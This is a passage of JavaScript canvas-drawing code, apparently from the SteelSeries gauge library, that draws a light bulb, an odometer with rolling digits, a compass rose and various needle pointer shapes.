0.526315 * imageWidth, 0.938596 * imageHeight, 0.5 * imageWidth, 0.938596 * imageHeight); ctx.bezierCurveTo(0.473684 * imageWidth, 0.938596 * imageHeight, 0.447368 * imageWidth, 0.938596 * imageHeight, 0.421052 * imageWidth, 0.947368 * imageHeight); ctx.closePath(); contactPlate = ctx.createLinearGradient(0, 0.938596 * imageHeight, 0, imageHeight); contactPlate.addColorStop(0, '#050a06'); contactPlate.addColorStop(0.61, '#070602'); contactPlate.addColorStop(0.71, '#999288'); contactPlate.addColorStop(0.83, '#010101'); contactPlate.addColorStop(1, '#000000'); ctx.fillStyle = contactPlate; ctx.fill(); ctx.restore(); ctx.restore(); }; var clearCanvas = function (ctx) { // Store the current transformation matrix ctx.save(); // Use the identity matrix while clearing the canvas ctx.setTransform(1, 0, 0, 1, 0, 0); ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); // Restore the transform ctx.restore(); }; var init = function () { initialized = true; drawOff(offCtx); drawOn(onCtx); drawBulb(bulbCtx); }; // ************** P U B L I C M E T H O D S ******************************** this.setOn = function (on) { lightOn = !!on; this.repaint(); return this; }; this.isOn = function () { return lightOn; }; this.setAlpha = function (a) { alpha = a; this.repaint(); return this; }; this.getAlpha = function () { return alpha; }; this.setGlowColor = function (color) { glowColor = color; init(); this.repaint(); return this; }; this.getGlowColor = function () { return glowColor; }; // Component visualization this.repaint = function () { if (!initialized) { init(); } clearCanvas(mainCtx); mainCtx.save(); mainCtx.drawImage(offBuffer, 0, 0); mainCtx.globalAlpha = alpha; if (lightOn) { mainCtx.drawImage(onBuffer, 0, 0); } mainCtx.globalAlpha = 1; mainCtx.drawImage(bulbBuffer, 0, 0); mainCtx.restore(); }; this.repaint(); return this; }; var odometer = function (canvas, parameters) { parameters = parameters || {}; // parameters var _context = (undefined === parameters._context ? null : parameters._context), // If component used internally by steelseries height = (undefined === parameters.height ? 0 : parameters.height), digits = (undefined === parameters.digits ? 6 : parameters.digits), decimals = (undefined === parameters.decimals ? 1 : parameters.decimals), decimalBackColor = (undefined === parameters.decimalBackColor ? '#F0F0F0' : parameters.decimalBackColor), decimalForeColor = (undefined === parameters.decimalForeColor ? '#F01010' : parameters.decimalForeColor), font = (undefined === parameters.font ? 'sans-serif' : parameters.font), value = (undefined === parameters.value ? 0 : parameters.value), valueBackColor = (undefined === parameters.valueBackColor ? '#050505' : parameters.valueBackColor), valueForeColor = (undefined === parameters.valueForeColor ? '#F8F8F8' : parameters.valueForeColor), wobbleFactor = (undefined === parameters.wobbleFactor ? 0.07 : parameters.wobbleFactor), // initialized = false, tween, ctx, repainting = false, digitHeight, digitWidth, stdFont, width, columnHeight, verticalSpace, zeroOffset, wobble = [], //buffers backgroundBuffer, backgroundContext, foregroundBuffer, foregroundContext, digitBuffer, digitContext, decimalBuffer, decimalContext; // End of variables // Get the canvas context and clear it if (_context) { ctx = _context; } else { ctx = getCanvasContext(canvas); } // Has a height been specified? if (height === 0) { height = ctx.canvas.height; } // Cannot display negative values yet if (value < 0) { value = 0; } digitHeight = Math.floor(height * 0.85); stdFont = '600 ' + digitHeight + 'px ' + font; digitWidth = Math.floor(height * 0.68); width = digitWidth * (digits + decimals); columnHeight = digitHeight * 11; verticalSpace = columnHeight / 12; zeroOffset = verticalSpace * 0.81; // Resize and clear the main context ctx.canvas.width = width; ctx.canvas.height = height; // Create buffers backgroundBuffer = createBuffer(width, height); backgroundContext = backgroundBuffer.getContext('2d'); foregroundBuffer = createBuffer(width, height); foregroundContext = foregroundBuffer.getContext('2d'); digitBuffer = createBuffer(digitWidth, columnHeight * 1.1); digitContext = digitBuffer.getContext('2d'); decimalBuffer = createBuffer(digitWidth, columnHeight * 1.1); decimalContext = decimalBuffer.getContext('2d'); function init() { var grad, i; initialized = true; // Create the foreground foregroundContext.rect(0, 0, width, height); grad = foregroundContext.createLinearGradient(0, 0, 0, height); grad.addColorStop(0, 'rgba(0, 0, 0, 1)'); grad.addColorStop(0.1, 'rgba(0, 0, 0, 0.4)'); grad.addColorStop(0.33, 'rgba(255, 255, 255, 0.45)'); grad.addColorStop(0.46, 'rgba(255, 255, 255, 0)'); grad.addColorStop(0.9, 'rgba(0, 0, 0, 0.4)'); grad.addColorStop(1, 'rgba(0, 0, 0, 1)'); foregroundContext.fillStyle = grad; foregroundContext.fill(); // Create a digit column // background digitContext.rect(0, 0, digitWidth, columnHeight * 1.1); digitContext.fillStyle = valueBackColor; digitContext.fill(); // edges digitContext.strokeStyle = '#f0f0f0'; digitContext.lineWidth = '1px'; //height * 0.1 + 'px'; digitContext.moveTo(0, 0); digitContext.lineTo(0, columnHeight * 1.1); digitContext.stroke(); digitContext.strokeStyle = '#202020'; digitContext.moveTo(digitWidth, 0); digitContext.lineTo(digitWidth, columnHeight * 1.1); digitContext.stroke(); // numerals digitContext.textAlign = 'center'; digitContext.textBaseline = 'middle'; digitContext.font = stdFont; digitContext.fillStyle = valueForeColor; // put the digits 901234567890 vertically into the buffer for (i = 9; i < 21; i++) { digitContext.fillText(i % 10, digitWidth * 0.5, verticalSpace * (i - 9) + verticalSpace / 2); } // Create a decimal column if (decimals > 0) { // background decimalContext.rect(0, 0, digitWidth, columnHeight * 1.1); decimalContext.fillStyle = decimalBackColor; decimalContext.fill(); // edges decimalContext.strokeStyle = '#f0f0f0'; decimalContext.lineWidth = '1px'; //height * 0.1 + 'px'; decimalContext.moveTo(0, 0); decimalContext.lineTo(0, columnHeight * 1.1); decimalContext.stroke(); decimalContext.strokeStyle = '#202020'; decimalContext.moveTo(digitWidth, 0); decimalContext.lineTo(digitWidth, columnHeight * 1.1); decimalContext.stroke(); // numerals decimalContext.textAlign = 'center'; decimalContext.textBaseline = 'middle'; decimalContext.font = stdFont; decimalContext.fillStyle = decimalForeColor; // put the digits 901234567890 vertically into the buffer for (i = 9; i < 21; i++) { decimalContext.fillText(i % 10, digitWidth * 0.5, verticalSpace * (i - 9) + verticalSpace / 2); } } // wobble factors for (i = 0; i < (digits + decimals); i++) { wobble[i] = Math.random() * wobbleFactor * height - wobbleFactor * height / 2; } } function drawDigits() { var pos = 1, val = value, i, num, numb, frac, prevNum; // do not use Math.pow() - rounding errors! for (i = 0; i < decimals; i++) { val *= 10; } numb = Math.floor(val); frac = val - numb; numb = String(numb); prevNum = 9; for (i = 0; i < decimals + digits; i++) { num = +numb.substring(numb.length - i - 1, numb.length - i) || 0; if (prevNum !== 9) { frac = 0; } if (i < decimals) { backgroundContext.drawImage(decimalBuffer, width - digitWidth * pos, -(verticalSpace * (num + frac) + zeroOffset + wobble[i])); } else { backgroundContext.drawImage(digitBuffer, width - digitWidth * pos, -(verticalSpace * (num + frac) + zeroOffset + wobble[i])); } pos++; prevNum = num; } } this.setValueAnimated = function (newVal, callback) { var gauge = this; newVal = parseFloat(newVal); if (newVal < 0) { newVal = 0; } if (value !== newVal) { if (undefined !== tween && tween.isPlaying) { tween.stop(); } tween = new Tween({}, '', Tween.strongEaseOut, value, newVal, 2); tween.onMotionChanged = function (event) { value = event.target._pos; if (!repainting) { repainting = true; requestAnimFrame(gauge.repaint); } }; // do we have a callback function to process? if (callback && typeof(callback) === "function") { tween.onMotionFinished = callback; } tween.start(); } this.repaint(); return this; }; this.setValue = function (newVal) { value = parseFloat(newVal); if (value < 0) { value = 0; } this.repaint(); return this; }; this.getValue = function () { return value; }; this.repaint = function () { if (!initialized) { init(); } // draw digits drawDigits(); // draw the foreground backgroundContext.drawImage(foregroundBuffer, 0, 0); // paint back to the main context ctx.drawImage(backgroundBuffer, 0, 0); repainting = false; }; this.repaint(); }; //************************************ I M A G E - F U N C T I O N S ***************************************** var drawRoseImage = function (ctx, centerX, centerY, imageWidth, imageHeight, backgroundColor) { var fill = true, i, grad, symbolColor = backgroundColor.symbolColor.getRgbaColor(); ctx.save(); ctx.lineWidth = 1; ctx.fillStyle = symbolColor; ctx.strokeStyle = symbolColor; ctx.translate(centerX, centerY); // broken ring for (i = 0; i < 360; i += 15) { fill = !fill; ctx.beginPath(); ctx.arc(0, 0, imageWidth * 0.26, i * RAD_FACTOR, (i + 15) * RAD_FACTOR, false); ctx.arc(0, 0, imageWidth * 0.23, (i + 15) * RAD_FACTOR, i * RAD_FACTOR, true); ctx.closePath(); if (fill) { ctx.fill(); } ctx.stroke(); } ctx.translate(-centerX, -centerY); /* // PATH1_2 ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.560747, imageHeight * 0.584112); ctx.lineTo(imageWidth * 0.640186, imageHeight * 0.644859); ctx.lineTo(imageWidth * 0.584112, imageHeight * 0.560747); ctx.lineTo(imageWidth * 0.560747, imageHeight * 0.584112); ctx.closePath(); ctx.fillStyle = fillColorPath; ctx.fill(); ctx.stroke(); // PATH2_2 ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.411214, imageHeight * 0.560747); ctx.lineTo(imageWidth * 0.355140, imageHeight * 0.644859); ctx.lineTo(imageWidth * 0.439252, imageHeight * 0.588785); ctx.lineTo(imageWidth * 0.411214, imageHeight * 0.560747); ctx.closePath(); ctx.fillStyle = fillColorPath; ctx.fill(); ctx.stroke(); // PATH3_2 ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.584112, imageHeight * 0.443925); ctx.lineTo(imageWidth * 0.640186, imageHeight * 0.359813); ctx.lineTo(imageWidth * 0.560747, imageHeight * 0.420560); ctx.lineTo(imageWidth * 0.584112, imageHeight * 0.443925); ctx.closePath(); ctx.fillStyle = fillColorPath; ctx.fill(); ctx.stroke(); // PATH4_2 ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.439252, imageHeight * 0.415887); ctx.lineTo(imageWidth * 0.355140, imageHeight * 0.359813); ctx.lineTo(imageWidth * 0.415887, imageHeight * 0.439252); ctx.lineTo(imageWidth * 0.439252, imageHeight * 0.415887); ctx.closePath(); ctx.fillStyle = fillColorPath; ctx.fill(); ctx.stroke(); // PATH5_2 ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.523364, imageHeight * 0.397196); ctx.lineTo(imageWidth * 0.5, imageHeight * 0.196261); ctx.lineTo(imageWidth * 0.471962, imageHeight * 0.397196); ctx.lineTo(imageWidth * 0.523364, imageHeight * 0.397196); ctx.closePath(); var PATH5_2_GRADIENT = ctx.createLinearGradient(0.476635 * imageWidth, 0, 0.518691 * imageWidth, 0); PATH5_2_GRADIENT.addColorStop(0, 'rgb(222, 223, 218)'); PATH5_2_GRADIENT.addColorStop(0.48, 'rgb(222, 223, 218)'); PATH5_2_GRADIENT.addColorStop(0.49, backgroundColor.symbolColor.getRgbaColor()); PATH5_2_GRADIENT.addColorStop(1, backgroundColor.symbolColor.getRgbaColor()); ctx.fillStyle = PATH5_2_GRADIENT; ctx.fill(); ctx.stroke(); // PATH6_2 ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.471962, imageHeight * 0.607476); ctx.lineTo(imageWidth * 0.5, imageHeight * 0.813084); ctx.lineTo(imageWidth * 0.523364, imageHeight * 0.607476); ctx.lineTo(imageWidth * 0.471962, imageHeight * 0.607476); ctx.closePath(); var PATH6_2_GRADIENT = ctx.createLinearGradient(0.518691 * imageWidth, 0, (0.518691 + -0.037383) * imageWidth, 0); PATH6_2_GRADIENT.addColorStop(0, 'rgb(222, 223, 218)'); PATH6_2_GRADIENT.addColorStop(0.56, 'rgb(222, 223, 218)'); PATH6_2_GRADIENT.addColorStop(0.5601, backgroundColor.symbolColor.getRgbaColor()); PATH6_2_GRADIENT.addColorStop(1, backgroundColor.symbolColor.getRgbaColor()); ctx.fillStyle = PATH6_2_GRADIENT; ctx.lineWidth = 1; ctx.lineCap = 'square'; ctx.lineJoin = 'miter'; ctx.strokeStyle = backgroundColor.symbolColor.getRgbaColor(); ctx.fill(); ctx.stroke(); // PATH7_2 ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.602803, imageHeight * 0.528037); ctx.lineTo(imageWidth * 0.803738, imageHeight * 0.5); ctx.lineTo(imageWidth * 0.602803, imageHeight * 0.476635); ctx.lineTo(imageWidth * 0.602803, imageHeight * 0.528037); ctx.closePath(); var PATH7_2_GRADIENT = ctx.createLinearGradient(0, 0.485981 * imageHeight, 0, 0.514018 * imageHeight); PATH7_2_GRADIENT.addColorStop(0, 'rgb(222, 223, 218)'); PATH7_2_GRADIENT.addColorStop(0.48, 'rgb(222, 223, 218)'); PATH7_2_GRADIENT.addColorStop(0.49, backgroundColor.symbolColor.getRgbaColor()); PATH7_2_GRADIENT.addColorStop(1, backgroundColor.symbolColor.getRgbaColor()); ctx.fillStyle = PATH7_2_GRADIENT; ctx.fill(); ctx.stroke(); // PATH8_2 ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.392523, imageHeight * 0.476635); ctx.lineTo(imageWidth * 0.191588, imageHeight * 0.5); ctx.lineTo(imageWidth * 0.392523, imageHeight * 0.528037); ctx.lineTo(imageWidth * 0.392523, imageHeight * 0.476635); ctx.closePath(); var PATH8_2_GRADIENT = ctx.createLinearGradient(0, 0.528037 * imageHeight, 0, 0.485981 * imageHeight); PATH8_2_GRADIENT.addColorStop(0, 'rgb(222, 223, 218)'); PATH8_2_GRADIENT.addColorStop(0.52, 'rgb(222, 223, 218)'); PATH8_2_GRADIENT.addColorStop(0.53, backgroundColor.symbolColor.getRgbaColor()); PATH8_2_GRADIENT.addColorStop(1, backgroundColor.symbolColor.getRgbaColor()); ctx.fillStyle = PATH8_2_GRADIENT; ctx.fill(); ctx.stroke(); // PATH9_2 ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.406542, imageHeight * 0.504672); ctx.bezierCurveTo(imageWidth * 0.406542, imageHeight * 0.453271, imageWidth * 0.448598, imageHeight * 0.411214, imageWidth * 0.5, imageHeight * 0.411214); ctx.bezierCurveTo(imageWidth * 0.546728, imageHeight * 0.411214, imageWidth * 0.588785, imageHeight * 0.453271, imageWidth * 0.588785, imageHeight * 0.504672); ctx.bezierCurveTo(imageWidth * 0.588785, imageHeight * 0.551401, imageWidth * 0.546728, imageHeight * 0.593457, imageWidth * 0.5, imageHeight * 0.593457); ctx.bezierCurveTo(imageWidth * 0.448598, imageHeight * 0.593457, imageWidth * 0.406542, imageHeight * 0.551401, imageWidth * 0.406542, imageHeight * 0.504672); ctx.closePath(); ctx.moveTo(imageWidth * 0.387850, imageHeight * 0.504672); ctx.bezierCurveTo(imageWidth * 0.387850, imageHeight * 0.560747, imageWidth * 0.439252, imageHeight * 0.612149, imageWidth * 0.5, imageHeight * 0.612149); ctx.bezierCurveTo(imageWidth * 0.556074, imageHeight * 0.612149, imageWidth * 0.607476, imageHeight * 0.560747, imageWidth * 0.607476, imageHeight * 0.504672); ctx.bezierCurveTo(imageWidth * 0.607476, imageHeight * 0.443925, imageWidth * 0.556074, imageHeight * 0.392523, imageWidth * 0.5, imageHeight * 0.392523); ctx.bezierCurveTo(imageWidth * 0.439252, imageHeight * 0.392523, imageWidth * 0.387850, imageHeight * 0.443925, imageWidth * 0.387850, imageHeight * 0.504672); ctx.closePath(); ctx.fillStyle = fillColorPath; ctx.lineWidth = 1; ctx.lineCap = 'square'; ctx.lineJoin = 'miter'; ctx.strokeStyle = backgroundColor.symbolColor.getRgbaColor(); ctx.fill(); ctx.stroke(); ctx.restore(); */ // Replacement code, not quite the same but much smaller! for (i = 0; 360 >= i; i += 90) { // Small pointers ctx.beginPath(); ctx.moveTo(imageWidth * 0.560747, imageHeight * 0.584112); ctx.lineTo(imageWidth * 0.640186, imageHeight * 0.644859); ctx.lineTo(imageWidth * 0.584112, imageHeight * 0.560747); ctx.lineTo(imageWidth * 0.560747, imageHeight * 0.584112); ctx.closePath(); ctx.fillStyle = symbolColor; ctx.fill(); ctx.stroke(); // Large pointers ctx.beginPath(); ctx.moveTo(imageWidth * 0.523364, imageHeight * 0.397196); ctx.lineTo(imageWidth * 0.5, imageHeight * 0.196261); ctx.lineTo(imageWidth * 0.471962, imageHeight * 0.397196); ctx.lineTo(imageWidth * 0.523364, imageHeight * 0.397196); ctx.closePath(); grad = ctx.createLinearGradient(0.476635 * imageWidth, 0, 0.518691 * imageWidth, 0); grad.addColorStop(0, 'rgb(222, 223, 218)'); grad.addColorStop(0.48, 'rgb(222, 223, 218)'); grad.addColorStop(0.49, symbolColor); grad.addColorStop(1, symbolColor); ctx.fillStyle = grad; ctx.fill(); ctx.stroke(); ctx.translate(centerX, centerY); ctx.rotate(i * RAD_FACTOR); ctx.translate(-centerX, -centerY); } // Central ring ctx.beginPath(); ctx.translate(centerX, centerY); ctx.arc(0, 0, imageWidth * 0.1, 0, TWO_PI, false); ctx.lineWidth = imageWidth * 0.022; ctx.stroke(); ctx.translate(-centerX, -centerY); ctx.restore(); }; var drawPointerImage = function (ctx, size, ptrType, ptrColor, lblColor) { var ptrBuffer, ptrCtx, grad, radius, cacheKey = size.toString() + ptrType.type + ptrColor.light.getHexColor() + ptrColor.medium.getHexColor(); // check if we have already created and cached this buffer, if not create it if (!drawPointerImage.cache[cacheKey]) { // create a pointer buffer ptrBuffer = createBuffer(size, size); ptrCtx = ptrBuffer.getContext('2d'); switch (ptrType.type) { case 'type2': grad = ptrCtx.createLinearGradient(0, size * 0.471962, 0, size * 0.130841); grad.addColorStop(0, lblColor.getRgbaColor()); grad.addColorStop(0.36, lblColor.getRgbaColor()); grad.addColorStop(0.361, ptrColor.light.getRgbaColor()); grad.addColorStop(1, ptrColor.light.getRgbaColor()); ptrCtx.fillStyle = grad; ptrCtx.beginPath(); ptrCtx.moveTo(size * 0.518691, size * 0.471962); ptrCtx.lineTo(size * 0.509345, size * 0.462616); ptrCtx.lineTo(size * 0.509345, size * 0.341121); ptrCtx.lineTo(size * 0.504672, size * 0.130841); ptrCtx.lineTo(size * 0.495327, size * 0.130841); ptrCtx.lineTo(size * 0.490654, size * 0.341121); ptrCtx.lineTo(size * 0.490654, size * 0.462616); ptrCtx.lineTo(size * 0.481308, size * 0.471962); ptrCtx.closePath(); ptrCtx.fill(); break; case 'type3': ptrCtx.beginPath(); ptrCtx.rect(size * 0.495327, size * 0.130841, size * 0.009345, size * 0.373831); ptrCtx.closePath(); ptrCtx.fillStyle = ptrColor.light.getRgbaColor(); ptrCtx.fill(); break; case 'type4': grad = ptrCtx.createLinearGradient(0.467289 * size, 0, 0.528036 * size, 0); grad.addColorStop(0, ptrColor.dark.getRgbaColor()); grad.addColorStop(0.51, ptrColor.dark.getRgbaColor()); grad.addColorStop(0.52, ptrColor.light.getRgbaColor()); grad.addColorStop(1, ptrColor.light.getRgbaColor()); ptrCtx.fillStyle = grad; ptrCtx.beginPath(); ptrCtx.moveTo(size * 0.5, size * 0.126168); ptrCtx.lineTo(size * 0.514018, size * 0.135514); ptrCtx.lineTo(size * 0.532710, size * 0.5); ptrCtx.lineTo(size * 0.523364, size * 0.602803); ptrCtx.lineTo(size * 0.476635, size * 0.602803); ptrCtx.lineTo(size * 0.467289, size * 0.5); ptrCtx.lineTo(size * 0.485981, size * 0.135514); ptrCtx.lineTo(size * 0.5, size * 0.126168); ptrCtx.closePath(); ptrCtx.fill(); break; case 'type5': grad = ptrCtx.createLinearGradient(0.471962 * size, 0, 0.528036 * size, 0); grad.addColorStop(0, ptrColor.light.getRgbaColor()); grad.addColorStop(0.5, ptrColor.light.getRgbaColor()); grad.addColorStop(0.5, ptrColor.medium.getRgbaColor()); grad.addColorStop(1, ptrColor.medium.getRgbaColor()); ptrCtx.fillStyle = grad; ptrCtx.beginPath(); ptrCtx.moveTo(size * 0.5, size * 0.495327); ptrCtx.lineTo(size * 0.528037, size * 0.495327); ptrCtx.lineTo(size * 0.5, size * 0.149532); ptrCtx.lineTo(size * 0.471962, size * 0.495327); ptrCtx.lineTo(size * 0.5, size * 0.495327); ptrCtx.closePath(); ptrCtx.fill(); ptrCtx.lineWidth = 1; ptrCtx.lineCap = 'square'; ptrCtx.lineJoin = 'miter'; ptrCtx.strokeStyle = ptrColor.dark.getRgbaColor(); ptrCtx.stroke(); break; case 'type6': ptrCtx.fillStyle = ptrColor.medium.getRgbaColor(); ptrCtx.beginPath(); ptrCtx.moveTo(size * 0.481308, size * 0.485981); ptrCtx.lineTo(size * 0.481308, size * 0.392523); ptrCtx.lineTo(size * 0.485981, size * 0.317757); ptrCtx.lineTo(size * 0.495327, size * 0.130841); ptrCtx.lineTo(size * 0.504672, size * 0.130841); ptrCtx.lineTo(size * 0.514018, size * 0.317757); ptrCtx.lineTo(size * 0.518691, size * 0.387850); ptrCtx.lineTo(size * 0.518691, size * 0.485981); ptrCtx.lineTo(size * 0.504672, size * 0.485981); ptrCtx.lineTo(size * 0.504672, size * 0.387850); ptrCtx.lineTo(size * 0.5, size * 0.317757); ptrCtx.lineTo(size * 0.495327, size * 0.392523); ptrCtx.lineTo(size * 0.495327, size * 0.485981); ptrCtx.lineTo(size * 0.481308, size * 0.485981); ptrCtx.closePath(); ptrCtx.fill(); break; case 'type7': grad = ptrCtx.createLinearGradient(0.481308 * size, 0, 0.518691 * size, 0); grad.addColorStop(0, ptrColor.dark.getRgbaColor()); grad.addColorStop(1, ptrColor.medium.getRgbaColor()); ptrCtx.fillStyle = grad; ptrCtx.beginPath(); ptrCtx.moveTo(size * 0.490654, size * 0.130841); ptrCtx.lineTo(size * 0.481308, size * 0.5); ptrCtx.lineTo(size * 0.518691, size * 0.5); ptrCtx.lineTo(size * 0.504672, size * 0.130841); ptrCtx.lineTo(size * 0.490654, size * 0.130841); ptrCtx.closePath(); ptrCtx.fill(); break; case 'type8': grad = ptrCtx.createLinearGradient(0.471962 * size, 0, 0.528036 * size, 0); grad.addColorStop(0, ptrColor.light.getRgbaColor()); grad.addColorStop(0.5, ptrColor.light.getRgbaColor()); grad.addColorStop(0.5, ptrColor.medium.getRgbaColor()); grad.addColorStop(1, ptrColor.medium.getRgbaColor()); ptrCtx.fillStyle = grad; ptrCtx.strokeStyle = ptrColor.dark.getRgbaColor(); ptrCtx.beginPath(); ptrCtx.moveTo(size * 0.5, size * 0.532710); ptrCtx.lineTo(size * 0.532710, size * 0.5); ptrCtx.bezierCurveTo(size * 0.532710, size * 0.5, size * 0.509345, size * 0.457943, size * 0.5, size * 0.149532); ptrCtx.bezierCurveTo(size * 0.490654, size * 0.457943, size * 0.467289, size * 0.5, size * 0.467289, size * 0.5); ptrCtx.lineTo(size * 0.5, size * 0.532710); ptrCtx.closePath(); ptrCtx.fill(); ptrCtx.stroke(); break; case 'type9': grad = ptrCtx.createLinearGradient(0.471962 * size, 0, 0.528036 * size, 0); grad.addColorStop(0, 'rgb(50, 50, 50)'); grad.addColorStop(0.5, '#666666'); grad.addColorStop(1, 'rgb(50, 50, 50)'); ptrCtx.fillStyle = grad; ptrCtx.strokeStyle = '#2E2E2E'; ptrCtx.beginPath(); ptrCtx.moveTo(size * 0.495327, size * 0.233644); ptrCtx.lineTo(size * 0.504672, size * 0.233644); ptrCtx.lineTo(size * 0.514018, size * 0.439252); ptrCtx.lineTo(size * 0.485981, size * 0.439252); ptrCtx.lineTo(size * 0.495327, size * 0.233644); ptrCtx.closePath(); ptrCtx.moveTo(size * 0.490654, size * 0.130841); ptrCtx.lineTo(size * 0.471962, size * 0.471962); ptrCtx.lineTo(size * 0.471962, size * 0.528037); ptrCtx.bezierCurveTo(size * 0.471962, size * 0.528037, size * 0.476635, size * 0.602803, size * 0.476635, size * 0.602803); ptrCtx.bezierCurveTo(size * 0.476635, size * 0.607476, size * 0.481308, size * 0.607476, size * 0.5, size * 0.607476); ptrCtx.bezierCurveTo(size * 0.518691, size * 0.607476, size * 0.523364, size * 0.607476, size * 0.523364, size * 0.602803); ptrCtx.bezierCurveTo(size * 0.523364, size * 0.602803, size * 0.528037, size * 0.528037, size * 0.528037, size * 0.528037); ptrCtx.lineTo(size * 0.528037, size * 0.471962); ptrCtx.lineTo(size * 0.509345, size * 0.130841); ptrCtx.lineTo(size * 0.490654, size * 0.130841); ptrCtx.closePath(); ptrCtx.fill(); ptrCtx.beginPath(); ptrCtx.moveTo(size * 0.495327, size * 0.219626); ptrCtx.lineTo(size * 0.504672, size * 0.219626); ptrCtx.lineTo(size * 0.504672, size * 0.135514); ptrCtx.lineTo(size * 0.495327, size * 0.135514); ptrCtx.lineTo(size * 0.495327, size * 0.219626); ptrCtx.closePath(); ptrCtx.fillStyle = ptrColor.medium.getRgbaColor(); ptrCtx.fill(); break; case 'type10': // POINTER_TYPE10 ptrCtx.beginPath(); ptrCtx.moveTo(size * 0.5, size * 0.149532); ptrCtx.bezierCurveTo(size * 0.5, size * 0.149532, size * 0.443925, size * 0.490654, size * 0.443925, size * 0.5); ptrCtx.bezierCurveTo(size * 0.443925, size * 0.532710, size * 0.467289, size * 0.556074, size * 0.5, size * 0.556074); ptrCtx.bezierCurveTo(size * 0.532710, size * 0.556074, size * 0.556074, size * 0.532710, size * 0.556074, size * 0.5); ptrCtx.bezierCurveTo(size * 0.556074, size * 0.490654, size * 0.5, size * 0.149532, size * 0.5, size * 0.149532); ptrCtx.closePath(); grad = ptrCtx.createLinearGradient(0.471962 * size, 0, 0.528036 * size, 0); grad.addColorStop(0, ptrColor.light.getRgbaColor()); grad.addColorStop(0.5, ptrColor.light.getRgbaColor()); grad.addColorStop(0.5, ptrColor.medium.getRgbaColor()); grad.addColorStop(1, ptrColor.medium.getRgbaColor()); ptrCtx.fillStyle = grad; ptrCtx.strokeStyle = ptrColor.medium.getRgbaColor(); ptrCtx.lineWidth = 1; ptrCtx.lineCap = 'square'; ptrCtx.lineJoin = 'miter'; ptrCtx.fill(); ptrCtx.stroke(); break; case 'type11': // POINTER_TYPE11 ptrCtx.beginPath(); ptrCtx.moveTo(0.5 * size, 0.168224 * size); ptrCtx.lineTo(0.485981 * size, 0.5 * size); ptrCtx.bezierCurveTo(0.485981 * size, 0.5 * size, 0.481308 * size, 0.584112 * size, 0.5 * size, 0.584112 * size); ptrCtx.bezierCurveTo(0.514018 * size, 0.584112 * size, 0.509345 * size, 0.5 * size, 0.509345 * size, 0.5 * size); ptrCtx.lineTo(0.5 * size, 0.168224 * size); ptrCtx.closePath(); grad = ptrCtx.createLinearGradient(0, 0.168224 * size, 0, 0.584112 * size); grad.addColorStop(0, ptrColor.medium.getRgbaColor()); grad.addColorStop(1, ptrColor.dark.getRgbaColor()); ptrCtx.fillStyle = grad; ptrCtx.strokeStyle = ptrColor.dark.getRgbaColor(); ptrCtx.fill(); ptrCtx.stroke(); break; case 'type12': // POINTER_TYPE12 ptrCtx.beginPath(); ptrCtx.moveTo(0.5 * size, 0.168224 * size); ptrCtx.lineTo(0.485981 * size, 0.5 * size); ptrCtx.lineTo(0.5 * size, 0.504672 * size); ptrCtx.lineTo(0.509345 * size, 0.5 * size); ptrCtx.lineTo(0.5 * size, 0.168224 * size); ptrCtx.closePath(); grad = ptrCtx.createLinearGradient(0, 0.168224 * size, 0, 0.504672 * size); grad.addColorStop(0, ptrColor.medium.getRgbaColor()); grad.addColorStop(1, ptrColor.dark.getRgbaColor()); ptrCtx.fillStyle = grad; ptrCtx.strokeStyle = ptrColor.dark.getRgbaColor(); ptrCtx.fill(); ptrCtx.stroke(); break; case 'type13': // POINTER_TYPE13 case 'type14': // POINTER_TYPE14 (same shape as 13) ptrCtx.beginPath(); ptrCtx.moveTo(0.485981 * size, 0.168224 * size); ptrCtx.lineTo(0.5 * size, 0.130841 * size); ptrCtx.lineTo(0.509345 * size, 0.168224 * size); ptrCtx.lineTo(0.509345 * size, 0.509345 * size); ptrCtx.lineTo(0.485981 * size, 0.509345 * size); ptrCtx.lineTo(0.485981 * size, 0.168224 * size); ptrCtx.closePath(); if (ptrType.type === 'type13') { // TYPE13 grad = ptrCtx.createLinearGradient(0, 0.5 * size, 0, 0.130841 * size); grad.addColorStop(0, lblColor.getRgbaColor()); grad.addColorStop(0.85, lblColor.getRgbaColor()); grad.addColorStop(0.85, ptrColor.medium.getRgbaColor()); grad.addColorStop(1, ptrColor.medium.getRgbaColor()); ptrCtx.fillStyle = grad; } else { // TYPE14 grad = ptrCtx.createLinearGradient(0.485981 * size, 0, 0.509345 * size, 0); grad.addColorStop(0, ptrColor.veryDark.getRgbaColor()); grad.addColorStop(0.5, ptrColor.light.getRgbaColor()); grad.addColorStop(1, ptrColor.veryDark.getRgbaColor()); ptrCtx.fillStyle = grad; } ptrCtx.fill(); break; case 'type15': // POINTER TYPE15 - Classic with crescent case 'type16': // POINTER TYPE16 - Classic without crescent ptrCtx.beginPath(); ptrCtx.moveTo(size * 0.509345, size * 0.457943); ptrCtx.lineTo(size * 0.5015, size * 0.13); ptrCtx.lineTo(size * 0.4985, size * 0.13); ptrCtx.lineTo(size * 0.490654, size * 0.457943); ptrCtx.bezierCurveTo(size * 0.490654, size * 0.457943, size * 0.490654, size * 0.457943, size * 0.490654, size * 0.457943); ptrCtx.bezierCurveTo(size * 0.471962, size * 0.462616, size * 0.457943, size * 0.481308, size * 0.457943, size * 0.5); ptrCtx.bezierCurveTo(size * 0.457943, size * 0.518691, size * 0.471962, size * 0.537383, size * 0.490654, size * 0.542056); ptrCtx.bezierCurveTo(size * 0.490654, size * 0.542056, size * 0.490654, size * 0.542056, size * 0.490654, size * 0.542056); if (ptrType.type === 'type15') { ptrCtx.lineTo(size * 0.490654, size * 0.57); ptrCtx.bezierCurveTo(size * 0.46, size * 0.58, size * 0.46, size * 0.62, size * 0.490654, size * 0.63); ptrCtx.bezierCurveTo(size * 0.47, size * 0.62, size * 0.48, size * 0.59, size * 0.5, size * 0.59); ptrCtx.bezierCurveTo(size * 0.53, size * 0.59, size * 0.52, size * 0.62, size * 0.509345, size * 0.63); ptrCtx.bezierCurveTo(size * 0.54, size * 0.62, size * 0.54, size * 0.58, size * 0.509345, size * 